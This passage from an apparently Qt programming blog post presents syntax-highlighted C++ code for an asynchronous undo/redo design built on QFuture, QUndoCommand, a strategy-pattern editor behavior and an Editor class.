        <span style='color:#808030; '>,</span> m_undoFuture <span style='color:#808030; '>(</span> <span style='color:#800000; font-weight:bold; '>new</span> QFutureInterface<span style='color:#800080; '>&lt;</span>AsyncStatusPointer<span style='color:#800080; '>></span><span style='color:#808030; '>(</span><span style='color:#808030; '>)</span> <span style='color:#808030; '>)</span>
        <span style='color:#808030; '>,</span> m_redoFuture <span style='color:#808030; '>(</span> <span style='color:#800000; font-weight:bold; '>new</span> QFutureInterface<span style='color:#800080; '>&lt;</span>AsyncStatusPointer<span style='color:#800080; '>></span><span style='color:#808030; '>(</span><span style='color:#808030; '>)</span> <span style='color:#808030; '>)</span> <span style='color:#800080; '>{</span><span style='color:#800080; '>}</span>
    <span style='color:#603000; '>QFuture</span><span style='color:#800080; '>&lt;</span>AsyncStatusPointer<span style='color:#800080; '>></span> undoFuture<span style='color:#808030; '>(</span><span style='color:#808030; '>)</span>
        <span style='color:#800080; '>{</span> <span style='color:#800000; font-weight:bold; '>return</span> m_undoFuture<span style='color:#808030; '>-</span><span style='color:#808030; '>></span>future<span style='color:#808030; '>(</span><span style='color:#808030; '>)</span><span style='color:#800080; '>;</span> <span style='color:#800080; '>}</span>
    <span style='color:#603000; '>QFuture</span><span style='color:#800080; '>&lt;</span>AsyncStatusPointer<span style='color:#800080; '>></span> redoFuture<span style='color:#808030; '>(</span><span style='color:#808030; '>)</span>
        <span style='color:#800080; '>{</span> <span style='color:#800000; font-weight:bold; '>return</span> m_redoFuture<span style='color:#808030; '>-</span><span style='color:#808030; '>></span>future<span style='color:#808030; '>(</span><span style='color:#808030; '>)</span><span style='color:#800080; '>;</span> <span style='color:#800080; '>}</span>

<span style='color:#800000; font-weight:bold; '>protected</span><span style='color:#e34adc; '>:</span>
    QScopedPointer<span style='color:#800080; '>&lt;</span>QFutureInterface<span style='color:#800080; '>&lt;</span>AsyncStatusPointer<span style='color:#800080; '>></span> <span style='color:#800080; '>></span> m_undoFuture<span style='color:#800080; '>;</span>
    QScopedPointer<span style='color:#800080; '>&lt;</span>QFutureInterface<span style='color:#800080; '>&lt;</span>AsyncStatusPointer<span style='color:#800080; '>></span> <span style='color:#800080; '>></span> m_redoFuture<span style='color:#800080; '>;</span>

<span style='color:#800080; '>}</span><span style='color:#800080; '>;</span>
</pre>
<p>Okay, let&#8217;s implement these with an example operation. First the concrete status object (<a href="https://github.com/pvanhoof/asyncundoable/blob/master/asyncexample1command.h">asyncexample1command.h</a>).</p>
<pre style='color:#000000;background:#ffffff;'><span style='color:#800000; font-weight:bold; '>class</span> AsyncExample1Status<span style='color:#800080; '>:</span> <span style='color:#800000; font-weight:bold; '>public</span> AbstractAsyncStatus
<span style='color:#800080; '>{</span>
    <span style='color:#004a43; '>Q_OBJECT</span>
    <span style='color:#004a43; background:#ffffff; '>Q_PROPERTY</span><span style='color:#808030; background:#ffffff; '>(</span><span style='color:#800000; background:#ffffff; font-weight:bold; '>bool</span><span style='color:#000000; background:#ffffff; '> example1 </span><span style='color:#800000; background:#ffffff; font-weight:bold; '>READ</span><span style='color:#000000; background:#ffffff; '> example1 CONSTANT</span><span style='color:#808030; background:#ffffff; '>)</span>
<span style='color:#800000; font-weight:bold; '>public</span><span style='color:#e34adc; '>:</span>
    AsyncExample1Status <span style='color:#808030; '>(</span> <span style='color:#800000; font-weight:bold; '>bool</span> success<span style='color:#808030; '>,</span> <span style='color:#800000; font-weight:bold; '>int</span> extra<span style='color:#808030; '>,</span> <span style='color:#800000; font-weight:bold; '>bool</span> example1<span style='color:#808030; '>,</span>
                          <span style='color:#603000; '>QObject</span> <span style='color:#808030; '>*</span>parent <span style='color:#808030; '>=</span> <span style='color:#800000; font-weight:bold; '>nullptr</span> <span style='color:#808030; '>)</span>
        <span style='color:#800080; '>:</span> AbstractAsyncStatus<span style='color:#808030; '>(</span>parent<span style='color:#808030; '>)</span>
        <span style='color:#808030; '>,</span> m_example1 <span style='color:#808030; '>(</span> example1 <span style='color:#808030; '>)</span>
        <span style='color:#808030; '>,</span> m_success <span style='color:#808030; '>(</span> success <span style='color:#808030; '>)</span>
        <span style='color:#808030; '>,</span> m_extra <span style='color:#808030; '>(</span> extra <span style='color:#808030; '>)</span> <span style='color:#800080; '>{</span><span style='color:#800080; '>}</span>
    <span style='color:#800000; font-weight:bold; '>bool</span> example1<span style='color:#808030; '>(</span><span style='color:#808030; '>)</span> <span style='color:#800080; '>{</span> <span style='color:#800000; font-weight:bold; '>return</span> m_example1<span style='color:#800080; '>;</span> <span style='color:#800080; '>}</span>
    <span style='color:#800000; font-weight:bold; '>bool</span> success<span style='color:#808030; '>(</span><span style='color:#808030; '>)</span> Q_DECL_OVERRIDE <span style='color:#800080; '>{</span> <span style='color:#800000; font-weight:bold; '>return</span> m_success<span style='color:#800080; '>;</span> <span style='color:#800080; '>}</span>
    <span style='color:#800000; font-weight:bold; '>int</span> extra<span style='color:#808030; '>(</span><span style='color:#808030; '>)</span> Q_DECL_OVERRIDE <span style='color:#800080; '>{</span> <span style='color:#800000; font-weight:bold; '>return</span> m_extra<span style='color:#800080; '>;</span> <span style='color:#800080; '>}</span>
<span style='color:#800000; font-weight:bold; '>private</span><span style='color:#e34adc; '>:</span>
    <span style='color:#800000; font-weight:bold; '>bool</span> m_example1 <span style='color:#808030; '>=</span> <span style='color:#800000; font-weight:bold; '>false</span><span style='color:#800080; '>;</span>
    <span style='color:#800000; font-weight:bold; '>bool</span> m_success <span style='color:#808030; '>=</span> <span style='color:#800000; font-weight:bold; '>false</span><span style='color:#800080; '>;</span>
    <span style='color:#800000; font-weight:bold; '>int</span> m_extra <span style='color:#808030; '>=</span> <span style='color:#808030; '>-</span><span style='color:#008c00; '>1</span><span style='color:#800080; '>;</span>
<span style='color:#800080; '>}</span><span style='color:#800080; '>;</span>
</pre>
<p>Let&#8217;s make a QUndoCommand that uses a timer to simulate asynchronous behavior. We could also use QtConcurrent&#8217;s run function to use a QThreadPool and QRunnable instances that also implement QFutureInterface, of course. Seasoned Qt developers know what I mean. For the sake of example, I wanted to illustrate that QFuture can also be used for asynchronous things that aren&#8217;t threads. We&#8217;ll use the lambda because QUndoCommand isn&#8217;t a QObject, so no easy slots. That&#8217;s the only reason (<a href="https://github.com/pvanhoof/asyncundoable/blob/master/asyncexample1command.h">asyncexample1command.h</a>).</p>
<pre style='color:#000000;background:#ffffff;'><span style='color:#800000; font-weight:bold; '>class</span> AsyncExample1Command<span style='color:#800080; '>:</span> <span style='color:#800000; font-weight:bold; '>public</span> AbstractAsyncUndoable
<span style='color:#800080; '>{</span>
<span style='color:#800000; font-weight:bold; '>public</span><span style='color:#e34adc; '>:</span>
    AsyncExample1Command<span style='color:#808030; '>(</span><span style='color:#800000; font-weight:bold; '>bool</span> example1<span style='color:#808030; '>,</span> <span style='color:#603000; '>QUndoCommand</span> <span style='color:#808030; '>*</span>parent <span style='color:#808030; '>=</span> <span style='color:#800000; font-weight:bold; '>nullptr</span><span style='color:#808030; '>)</span>
        <span style='color:#800080; '>:</span> AbstractAsyncUndoable <span style='color:#808030; '>(</span> parent <span style='color:#808030; '>)</span><span style='color:#808030; '>,</span> m_example1<span style='color:#808030; '>(</span>example1<span style='color:#808030; '>)</span> <span style='color:#800080; '>{</span><span style='color:#800080; '>}</span>
    <span style='color:#800000; font-weight:bold; '>void</span> undo<span style='color:#808030; '>(</span><span style='color:#808030; '>)</span> Q_DECL_OVERRIDE <span style='color:#800080; '>{</span>
        m_undoFuture<span style='color:#808030; '>-</span><span style='color:#808030; '>></span>reportStarted<span style='color:#808030; '>(</span><span style='color:#808030; '>)</span><span style='color:#800080; '>;</span>
        <span style='color:#603000; '>QTimer</span> <span style='color:#808030; '>*</span>timer <span style='color:#808030; '>=</span> <span style='color:#800000; font-weight:bold; '>new</span> <span style='color:#603000; '>QTimer</span><span style='color:#808030; '>(</span><span style='color:#808030; '>)</span><span style='color:#800080; '>;</span>
        timer<span style='color:#808030; '>-</span><span style='color:#808030; '>></span>setSingleShot<span style='color:#808030; '>(</span><span style='color:#800000; font-weight:bold; '>true</span><span style='color:#808030; '>)</span><span style='color:#800080; '>;</span>
        <span style='color:#603000; '>QObject</span><span style='color:#800080; '>::</span><span style='color:#400000; '>connect</span><span style='color:#808030; '>(</span>timer<span style='color:#808030; '>,</span> <span style='color:#808030; '>&amp;</span><span style='color:#603000; '>QTimer</span><span style='color:#800080; '>::</span>timeout<span style='color:#808030; '>,</span> <span style='color:#808030; '>[</span><span style='color:#808030; '>=</span><span style='color:#808030; '>]</span><span style='color:#808030; '>(</span><span style='color:#808030; '>)</span> <span style='color:#ffffff; background:#dd0000; font-weight:bold; font-style:italic; '>{</span>
            QSharedPointer<span style='color:#800080; '>&lt;</span>AbstractAsyncStatus<span style='color:#800080; '>></span> result<span style='color:#800080; '>;</span>
            result<span style='color:#808030; '>.</span>reset<span style='color:#808030; '>(</span><span style='color:#800000; font-weight:bold; '>new</span> AsyncExample1Status <span style='color:#808030; '>(</span> <span style='color:#800000; font-weight:bold; '>true</span><span style='color:#808030; '>,</span> <span style='color:#008c00; '>1</span><span style='color:#808030; '>,</span> m_example1 <span style='color:#808030; '>)</span><span style='color:#808030; '>)</span><span style='color:#800080; '>;</span>
            m_undoFuture<span style='color:#808030; '>-</span><span style='color:#808030; '>></span>reportFinished<span style='color:#808030; '>(</span><span style='color:#808030; '>&amp;</span>result<span style='color:#808030; '>)</span><span style='color:#800080; '>;</span>
            timer<span style='color:#808030; '>-</span><span style='color:#808030; '>></span>deleteLater<span style='color:#808030; '>(</span><span style='color:#808030; '>)</span><span style='color:#800080; '>;</span>
        <span style='color:#ffffff; background:#dd0000; font-weight:bold; font-style:italic; '>}</span> <span style='color:#808030; '>)</span><span style='color:#800080; '>;</span>
        timer<span style='color:#808030; '>-</span><span style='color:#808030; '>></span>start<span style='color:#808030; '>(</span><span style='color:#008c00; '>1000</span><span style='color:#808030; '>)</span><span style='color:#800080; '>;</span>
    <span style='color:#800080; '>}</span>
    <span style='color:#800000; font-weight:bold; '>void</span> redo<span style='color:#808030; '>(</span><span style='color:#808030; '>)</span> Q_DECL_OVERRIDE <span style='color:#800080; '>{</span>
        m_redoFuture<span style='color:#808030; '>-</span><span style='color:#808030; '>></span>reportStarted<span style='color:#808030; '>(</span><span style='color:#808030; '>)</span><span style='color:#800080; '>;</span>
        <span style='color:#603000; '>QTimer</span> <span style='color:#808030; '>*</span>timer <span style='color:#808030; '>=</span> <span style='color:#800000; font-weight:bold; '>new</span> <span style='color:#603000; '>QTimer</span><span style='color:#808030; '>(</span><span style='color:#808030; '>)</span><span style='color:#800080; '>;</span>
        timer<span style='color:#808030; '>-</span><span style='color:#808030; '>></span>setSingleShot<span style='color:#808030; '>(</span><span style='color:#800000; font-weight:bold; '>true</span><span style='color:#808030; '>)</span><span style='color:#800080; '>;</span>
        <span style='color:#603000; '>QObject</span><span style='color:#800080; '>::</span><span style='color:#400000; '>connect</span><span style='color:#808030; '>(</span>timer<span style='color:#808030; '>,</span> <span style='color:#808030; '>&amp;</span><span style='color:#603000; '>QTimer</span><span style='color:#800080; '>::</span>timeout<span style='color:#808030; '>,</span> <span style='color:#808030; '>[</span><span style='color:#808030; '>=</span><span style='color:#808030; '>]</span><span style='color:#808030; '>(</span><span style='color:#808030; '>)</span> <span style='color:#ffffff; background:#dd0000; font-weight:bold; font-style:italic; '>{</span>
            QSharedPointer<span style='color:#800080; '>&lt;</span>AbstractAsyncStatus<span style='color:#800080; '>></span> result<span style='color:#800080; '>;</span>
            result<span style='color:#808030; '>.</span>reset<span style='color:#808030; '>(</span><span style='color:#800000; font-weight:bold; '>new</span> AsyncExample1Status <span style='color:#808030; '>(</span> <span style='color:#800000; font-weight:bold; '>true</span><span style='color:#808030; '>,</span> <span style='color:#008c00; '>2</span><span style='color:#808030; '>,</span> m_example1 <span style='color:#808030; '>)</span><span style='color:#808030; '>)</span><span style='color:#800080; '>;</span>
            m_redoFuture<span style='color:#808030; '>-</span><span style='color:#808030; '>></span>reportFinished<span style='color:#808030; '>(</span><span style='color:#808030; '>&amp;</span>result<span style='color:#808030; '>)</span><span style='color:#800080; '>;</span>
            timer<span style='color:#808030; '>-</span><span style='color:#808030; '>></span>deleteLater<span style='color:#808030; '>(</span><span style='color:#808030; '>)</span><span style='color:#800080; '>;</span>
        <span style='color:#ffffff; background:#dd0000; font-weight:bold; font-style:italic; '>}</span> <span style='color:#808030; '>)</span><span style='color:#800080; '>;</span>
        timer<span style='color:#808030; '>-</span><span style='color:#808030; '>></span>start<span style='color:#808030; '>(</span><span style='color:#008c00; '>1000</span><span style='color:#808030; '>)</span><span style='color:#800080; '>;</span>
    <span style='color:#800080; '>}</span>
<span style='color:#800000; font-weight:bold; '>private</span><span style='color:#e34adc; '>:</span>
    <span style='color:#603000; '>QTimer</span> m_timer<span style='color:#800080; '>;</span>
    <span style='color:#800000; font-weight:bold; '>bool</span> m_example1<span style='color:#800080; '>;</span>
<span style='color:#800080; '>}</span><span style='color:#800080; '>;</span>
</pre>
<p>Let&#8217;s now define something we get from the strategy design pattern; a editor behavior. Implementations provide an editor all its editing behaviors (<a href="https://github.com/pvanhoof/asyncundoable/blob/master/abstracteditorbehavior.h">abtracteditorbehavior.h</a>).</p>
<pre style='color:#000000;background:#ffffff;'><span style='color:#800000; font-weight:bold; '>class</span> AbstractEditorBehavior <span style='color:#800080; '>:</span> <span style='color:#800000; font-weight:bold; '>public</span> <span style='color:#603000; '>QObject</span>
<span style='color:#800080; '>{</span>
    <span style='color:#004a43; '>Q_OBJECT</span>
<span style='color:#800000; font-weight:bold; '>public</span><span style='color:#e34adc; '>:</span>
    AbstractEditorBehavior<span style='color:#808030; '>(</span> <span style='color:#603000; '>QObject</span> <span style='color:#808030; '>*</span>parent<span style='color:#808030; '>)</span> <span style='color:#800080; '>:</span> <span style='color:#603000; '>QObject</span> <span style='color:#808030; '>(</span>parent<span style='color:#808030; '>)</span> <span style='color:#800080; '>{</span><span style='color:#800080; '>}</span>

    <span style='color:#800000; font-weight:bold; '>virtual</span> <span style='color:#603000; '>QFuture</span><span style='color:#800080; '>&lt;</span>AsyncStatusPointer<span style='color:#800080; '>></span> performExample1<span style='color:#808030; '>(</span> <span style='color:#800000; font-weight:bold; '>bool</span> example1 <span style='color:#808030; '>)</span> <span style='color:#808030; '>=</span> <span style='color:#008c00; '>0</span><span style='color:#800080; '>;</span>
    <span style='color:#800000; font-weight:bold; '>virtual</span> <span style='color:#603000; '>QFuture</span><span style='color:#800080; '>&lt;</span>AsyncStatusPointer<span style='color:#800080; '>></span> performUndo<span style='color:#808030; '>(</span><span style='color:#808030; '>)</span> <span style='color:#808030; '>=</span> <span style='color:#008c00; '>0</span><span style='color:#800080; '>;</span>
    <span style='color:#800000; font-weight:bold; '>virtual</span> <span style='color:#603000; '>QFuture</span><span style='color:#800080; '>&lt;</span>AsyncStatusPointer<span style='color:#800080; '>></span> performRedo<span style='color:#808030; '>(</span><span style='color:#808030; '>)</span> <span style='color:#808030; '>=</span> <span style='color:#008c00; '>0</span><span style='color:#800080; '>;</span>
    <span style='color:#800000; font-weight:bold; '>virtual</span> <span style='color:#800000; font-weight:bold; '>bool</span> canRedo<span style='color:#808030; '>(</span><span style='color:#808030; '>)</span> <span style='color:#808030; '>=</span> <span style='color:#008c00; '>0</span><span style='color:#800080; '>;</span>
    <span style='color:#800000; font-weight:bold; '>virtual</span> <span style='color:#800000; font-weight:bold; '>bool</span> canUndo<span style='color:#808030; '>(</span><span style='color:#808030; '>)</span> <span style='color:#808030; '>=</span> <span style='color:#008c00; '>0</span><span style='color:#800080; '>;</span>
<span style='color:#800080; '>}</span><span style='color:#800080; '>;</span>
</pre>
<p>So far so good, so let&#8217;s make an implementation that has a QUndoStack and that therefor is undoable (<a href="https://github.com/pvanhoof/asyncundoable/blob/master/undoableeditorbehavior.h">undoableeditorbehavior.h</a>).</p>
<pre style='color:#000000;background:#ffffff;'><span style='color:#800000; font-weight:bold; '>class</span> UndoableEditorBehavior<span style='color:#800080; '>:</span> <span style='color:#800000; font-weight:bold; '>public</span> AbstractEditorBehavior
<span style='color:#800080; '>{</span>
<span style='color:#800000; font-weight:bold; '>public</span><span style='color:#e34adc; '>:</span>
    UndoableEditorBehavior<span style='color:#808030; '>(</span><span style='color:#603000; '>QObject</span> <span style='color:#808030; '>*</span>parent <span style='color:#808030; '>=</span> <span style='color:#800000; font-weight:bold; '>nullptr</span><span style='color:#808030; '>)</span>
        <span style='color:#800080; '>:</span> AbstractEditorBehavior <span style='color:#808030; '>(</span>parent<span style='color:#808030; '>)</span>
        <span style='color:#808030; '>,</span> m_undoStack <span style='color:#808030; '>(</span> <span style='color:#800000; font-weight:bold; '>new</span> <span style='color:#603000; '>QUndoStack</span> <span style='color:#808030; '>)</span><span style='color:#800080; '>{</span><span style='color:#800080; '>}</span>

    <span style='color:#603000; '>QFuture</span><span style='color:#800080; '>&lt;</span>AsyncStatusPointer<span style='color:#800080; '>></span> performExample1<span style='color:#808030; '>(</span> <span style='color:#800000; font-weight:bold; '>bool</span> example1 <span style='color:#808030; '>)</span> Q_DECL_OVERRIDE <span style='color:#800080; '>{</span>
        AsyncExample1Command <span style='color:#808030; '>*</span>command <span style='color:#808030; '>=</span> <span style='color:#800000; font-weight:bold; '>new</span> AsyncExample1Command <span style='color:#808030; '>(</span> example1 <span style='color:#808030; '>)</span><span style='color:#800080; '>;</span>
        m_undoStack<span style='color:#808030; '>-</span><span style='color:#808030; '>></span>push<span style='color:#808030; '>(</span>command<span style='color:#808030; '>)</span><span style='color:#800080; '>;</span>
        <span style='color:#800000; font-weight:bold; '>return</span> command<span style='color:#808030; '>-</span><span style='color:#808030; '>></span>redoFuture<span style='color:#808030; '>(</span><span style='color:#808030; '>)</span><span style='color:#800080; '>;</span>
    <span style='color:#800080; '>}</span>
    <span style='color:#603000; '>QFuture</span><span style='color:#800080; '>&lt;</span>AsyncStatusPointer<span style='color:#800080; '>></span> performUndo<span style='color:#808030; '>(</span><span style='color:#808030; '>)</span> <span style='color:#800080; '>{</span>
        <span style='color:#800000; font-weight:bold; '>const</span> AbstractAsyncUndoable <span style='color:#808030; '>*</span>undoable <span style='color:#808030; '>=</span>
            <span style='color:#800000; font-weight:bold; '>dynamic_cast</span><span style='color:#800080; '>&lt;</span><span style='color:#800000; font-weight:bold; '>const</span> AbstractAsyncUndoable <span style='color:#808030; '>*</span><span style='color:#800080; '>></span><span style='color:#808030; '>(</span>
                    m_undoStack<span style='color:#808030; '>-</span><span style='color:#808030; '>></span>command<span style='color:#808030; '>(</span> m_undoStack<span style='color:#808030; '>-</span><span style='color:#808030; '>></span>index<span style='color:#808030; '>(</span><span style='color:#808030; '>)</span> <span style='color:#808030; '>-</span> <span style='color:#008c00; '>1</span><span style='color:#808030; '>)</span><span style='color:#808030; '>)</span><span style='color:#800080; '>;</span>
        m_undoStack<span style='color:#808030; '>-</span><span style='color:#808030; '>></span>undo<span style='color:#808030; '>(</span><span style='color:#808030; '>)</span><span style='color:#800080; '>;</span>
        <span style='color:#800000; font-weight:bold; '>return</span> <span style='color:#800000; font-weight:bold; '>const_cast</span><span style='color:#800080; '>&lt;</span>AbstractAsyncUndoable<span style='color:#808030; '>*</span><span style='color:#800080; '>></span><span style='color:#808030; '>(</span>undoable<span style='color:#808030; '>)</span><span style='color:#808030; '>-</span><span style='color:#808030; '>></span>undoFuture<span style='color:#808030; '>(</span><span style='color:#808030; '>)</span><span style='color:#800080; '>;</span>
    <span style='color:#800080; '>}</span>
    <span style='color:#603000; '>QFuture</span><span style='color:#800080; '>&lt;</span>AsyncStatusPointer<span style='color:#800080; '>></span> performRedo<span style='color:#808030; '>(</span><span style='color:#808030; '>)</span> <span style='color:#800080; '>{</span>
        <span style='color:#800000; font-weight:bold; '>const</span> AbstractAsyncUndoable <span style='color:#808030; '>*</span>undoable <span style='color:#808030; '>=</span>
            <span style='color:#800000; font-weight:bold; '>dynamic_cast</span><span style='color:#800080; '>&lt;</span><span style='color:#800000; font-weight:bold; '>const</span> AbstractAsyncUndoable <span style='color:#808030; '>*</span><span style='color:#800080; '>></span><span style='color:#808030; '>(</span>
                    m_undoStack<span style='color:#808030; '>-</span><span style='color:#808030; '>></span>command<span style='color:#808030; '>(</span> m_undoStack<span style='color:#808030; '>-</span><span style='color:#808030; '>></span>index<span style='color:#808030; '>(</span><span style='color:#808030; '>)</span> <span style='color:#808030; '>)</span><span style='color:#808030; '>)</span><span style='color:#800080; '>;</span>
        m_undoStack<span style='color:#808030; '>-</span><span style='color:#808030; '>></span>redo<span style='color:#808030; '>(</span><span style='color:#808030; '>)</span><span style='color:#800080; '>;</span>
        <span style='color:#800000; font-weight:bold; '>return</span> <span style='color:#800000; font-weight:bold; '>const_cast</span><span style='color:#800080; '>&lt;</span>AbstractAsyncUndoable<span style='color:#808030; '>*</span><span style='color:#800080; '>></span><span style='color:#808030; '>(</span>undoable<span style='color:#808030; '>)</span><span style='color:#808030; '>-</span><span style='color:#808030; '>></span>redoFuture<span style='color:#808030; '>(</span><span style='color:#808030; '>)</span><span style='color:#800080; '>;</span>
    <span style='color:#800080; '>}</span>
    <span style='color:#800000; font-weight:bold; '>bool</span> canRedo<span style='color:#808030; '>(</span><span style='color:#808030; '>)</span> Q_DECL_OVERRIDE <span style='color:#800080; '>{</span> <span style='color:#800000; font-weight:bold; '>return</span> m_undoStack<span style='color:#808030; '>-</span><span style='color:#808030; '>></span>canRedo<span style='color:#808030; '>(</span><span style='color:#808030; '>)</span><span style='color:#800080; '>;</span> <span style='color:#800080; '>}</span>
    <span style='color:#800000; font-weight:bold; '>bool</span> canUndo<span style='color:#808030; '>(</span><span style='color:#808030; '>)</span> Q_DECL_OVERRIDE <span style='color:#800080; '>{</span> <span style='color:#800000; font-weight:bold; '>return</span> m_undoStack<span style='color:#808030; '>-</span><span style='color:#808030; '>></span>canUndo<span style='color:#808030; '>(</span><span style='color:#808030; '>)</span><span style='color:#800080; '>;</span> <span style='color:#800080; '>}</span>
<span style='color:#800000; font-weight:bold; '>private</span><span style='color:#e34adc; '>:</span>
    QScopedPointer<span style='color:#800080; '>&lt;</span><span style='color:#603000; '>QUndoStack</span><span style='color:#800080; '>></span> m_undoStack<span style='color:#800080; '>;</span>
<span style='color:#800080; '>}</span><span style='color:#800080; '>;</span>
</pre>
<p>Now we only need an editor, right (<a href="https://github.com/pvanhoof/asyncundoable/blob/master/editor.h">editor.h</a>)?</p>
<pre style='color:#000000;background:#ffffff;'><span style='color:#800000; font-weight:bold; '>class</span> Editor<span style='color:#800080; '>:</span> <span style='color:#800000; font-weight:bold; '>public</span> <span style='color:#603000; '>QObject</span>
<span style='color:#800080; '>{</span>
    <span style='color:#004a43; '>Q_OBJECT</span>
    <span style='color:#004a43; background:#ffffff; '>Q_PROPERTY</span><span style='color:#808030; background:#ffffff; '>(</span><span style='color:#000000; background:#ffffff; '>AbstractEditorBehavior</span><span style='color:#808030; background:#ffffff; '>*</span><span style='color:#000000; background:#ffffff; '> editorBehavior </span><span style='color:#800000; background:#ffffff; font-weight:bold; '>READ</span><span style='color:#000000; background:#ffffff; '> editorBehavior CONSTANT</span><span style='color:#808030; background:#ffffff; '>)</span>
<span style='color:#800000; font-weight:bold; '>public</span><span style='color:#e34adc; '>:</span>
    Editor<span style='color:#808030; '>(</span><span style='color:#603000; '>QObject</span> <span style='color:#808030; '>*</span>parent<span style='color:#808030; '>=</span><span style='color:#800000; font-weight:bold; '>nullptr</span><span style='color:#808030; '>)</span> <span style='color:#800080; '>:</span> <span style='color:#603000; '>QObject</span><span style='color:#808030; '>(</span>parent<span style='color:#808030; '>)</span>
        <span style='color:#808030; '>,</span> m_editorBehavior <span style='color:#808030; '>(</span> <span style='color:#800000; font-weight:bold; '>new</span> UndoableEditorBehavior <span style='color:#808030; '>)</span> <span style='color:#800080; '>{</span> <span style='color:#800080; '>}</span>
    AbstractEditorBehavior<span style='color:#808030; '>*</span> editorBehavior<span style='color:#808030; '>(</span><span style='color:#808030; '>)</span> <span style='color:#800080; '>{</span> <span style='color:#800000; font-weight:bold; '>return</span> m_editorBehavior<span style='color:#808030; '>.</span>data<span style='color:#808030; '>(</span><span style='color:#808030; '>)</span><span style='color:#800080; '>;</span> <span style='color:#800080; '>}</span>
    Q_INVOKABLE <span style='color:#800000; font-weight:bold; '>void</span> example1Async<span style='color:#808030; '>(</span><span style='color:#800000; font-weight:bold; '>bool</span> example1<span style='color:#808030; '>)</span> <span style='color:#800080; '>{</span>
        <span style='color:#603000; '>QFutureWatcher</span><span style='color:#800080; '>&lt;</span>AsyncStatusPointer<span style='color:#800080; '>></span> <span style='color:#808030; '>*</span>watcher <span style='color:#808030; '>=</span> <span style='color:#800000; font-weight:bold; '>new</span> <span style='color:#603000; '>QFutureWatcher</span><span style='color:#800080; '>&lt;</span>AsyncStatusPointer<span style='color:#800080; '>></span><span style='color:#808030; '>(</span><span style='color:#800000; font-weight:bold; '>this</span><span style='color:#808030; '>)</span><span style='color:#800080; '>;</span>
        <span style='color:#400000; '>connect</span><span style='color:#808030; '>(</span>watcher<span style='color:#808030; '>,</span> <span style='color:#808030; '>&amp;</span><span style='color:#603000; '>QFutureWatcher</span><span style='color:#800080; '>&lt;</span>AsyncStatusPointer<span style='color:#800080; '>></span><span style='color:#800080; '>::</span>finished<span style='color:#808030; '>,</span>
                <span style='color:#800000; font-weight:bold; '>this</span><span style='color:#808030; '>,</span> <span style='color:#808030; '>&amp;</span>Editor<span style='color:#800080; '>::</span>onExample1Finished<span style='color:#808030; '>)</span><span style='color:#800080; '>;</span>
        watcher<span style='color:#808030; '>-</span><span style='color:#808030; '>></span>setFuture <span style='color:#808030; '>(</span> m_editorBehavior<span style='color:#808030; '>-</span><span style='color:#808030; '>></span>performExample1<span style='color:#808030; '>(</span>example1<span style='color:#808030; '>)</span> <span style='color:#808030; '>)</span><span style='color:#800080; '>;</span>
    <span style='color:#800080; '>}</span>
    Q_INVOKABLE <span style='color:#800000; font-weight:bold; '>void</span> undoAsync<span style='color:#808030; '>(</span><span style='color:#808030; '>)</span> <span style='color:#800080; '>{</span>
        <span style='color:#800000; font-weight:bold; '>if</span> <span style='color:#808030; '>(</span>m_editorBehavior<span style='color:#808030; '>-</span><span style='color:#808030; '>></span>canUndo<span style='color:#808030; '>(</span><span style='color:#808030; '>)</span><span style='color:#808030; '>)</span> <span style='color:#800080; '>{</span>
            <span style='color:#603000; '>QFutureWatcher</span><span style='color:#800080; '>&lt;</span>AsyncStatusPointer<span style='color:#800080; '>></span> <span style='color:#808030; '>*</span>watcher <span style='color:#808030; '>=</span> <span style='color:#800000; font-weight:bold; '>new</span> <span style='color:#603000; '>QFutureWatcher</span><span style='color:#800080; '>&lt;</span>AsyncStatusPointer<span style='color:#800080; '>></span><span style='color:#808030; '>(</span><span style='color:#800000; font-weight:bold; '>this</span><span style='color:#808030; '>)</span><span style='color:#800080; '>;</span>
            <span style='color:#400000; '>connect</span><span style='color:#808030; '>(</span>watcher<span style='color:#808030; '>,</span> <span style='color:#808030; '>&amp;</span><span style='color:#603000; '>QFutureWatcher</span><span style='color:#800080; '>&lt;</span>AsyncStatusPointer<span style='color:#800080; '>></span><span style='color:#800080; '>::</span>finished<span style='color:#808030; '>,</span>
                    <span style='color:#800000; font-weight:bold; '>this</span><span style='color:#808030; '>,</span> <span style='color:#808030; '>&amp;</span>Editor<span style='color:#800080; '>::</span>onUndoFinished<span style='color:#808030; '>)</span><span style='color:#800080; '>;</span>
            watcher<span style='color:#808030; '>-</span><span style='color:#808030; '>></span>setFuture <span style='color:#808030; '>(</span> m_editorBehavior<span style='color:#808030; '>-</span><span style='color:#808030; '>></span>performUndo<span style='color:#808030; '>(</span><span style='color:#808030; '>)</span> <span style='color:#808030; '>)</span><span style='color:#800080; '>;</span>
        <span style='color:#800080; '>}</span>
    <span style='color:#800080; '>}</span>
    Q_INVOKABLE <span style='color:#800000; font-weight:bold; '>void</span> redoAsync<span style='color:#808030; '>(</span><span style='color:#808030; '>)</span> <span style='color:#800080; '>{</span>
        <span style='color:#800000; font-weight:bold; '>if</span> <span style='color:#808030; '>(</span>m_editorBehavior<span style='color:#808030; '>-</span><span style='color:#808030; '>></span>canRedo<span style='color:#808030; '>(</span><span style='color:#808030; '>)</span><span style='color:#808030; '>)</span> <span style='color:#800080; '>{</span>
            <span style='color:#603000; '>QFutureWatcher</span><span style='color:#800080; '>&lt;</span>AsyncStatusPointer<span style='color:#800080; '>></span> <span style='color:#808030; '>*</span>watcher <span style='color:#808030; '>=</span> <span style='color:#800000; font-weight:bold; '>new</span> <span style='color:#603000; '>QFutureWatcher</span><span style='color:#800080; '>&lt;</span>AsyncStatusPointer<span style='color:#800080; '>></span><span style='color:#808030; '>(</span><span style='color:#800000; font-weight:bold; '>this</span><span style='color:#808030; '>)</span><span style='color:#800080; '>;</span>
            <span style='color:#400000; '>connect</span><span style='color:#808030; '>(</span>watcher<span style='color:#808030; '>,</span> <span style='color:#808030; '>&amp;</span><span style='color:#603000; '>QFutureWatcher</span><span style='color:#800080; '>&lt;</span>AsyncStatusPointer<span style='color:#800080; '>></span><span style='color:#800080; '>::</span>finished<span style='color:#808030; '>,</span>
                    <span style='color:#800000; font-weight:bold; '>this</span><span style='color:#808030; '>,</span> <span style='color:#808030; '>&amp;</span>Editor<span style='color:#800080; '>::</span>onRedoFinished<span style='color:#808030; '>)</span><span style='color:#800080; '>;</span>
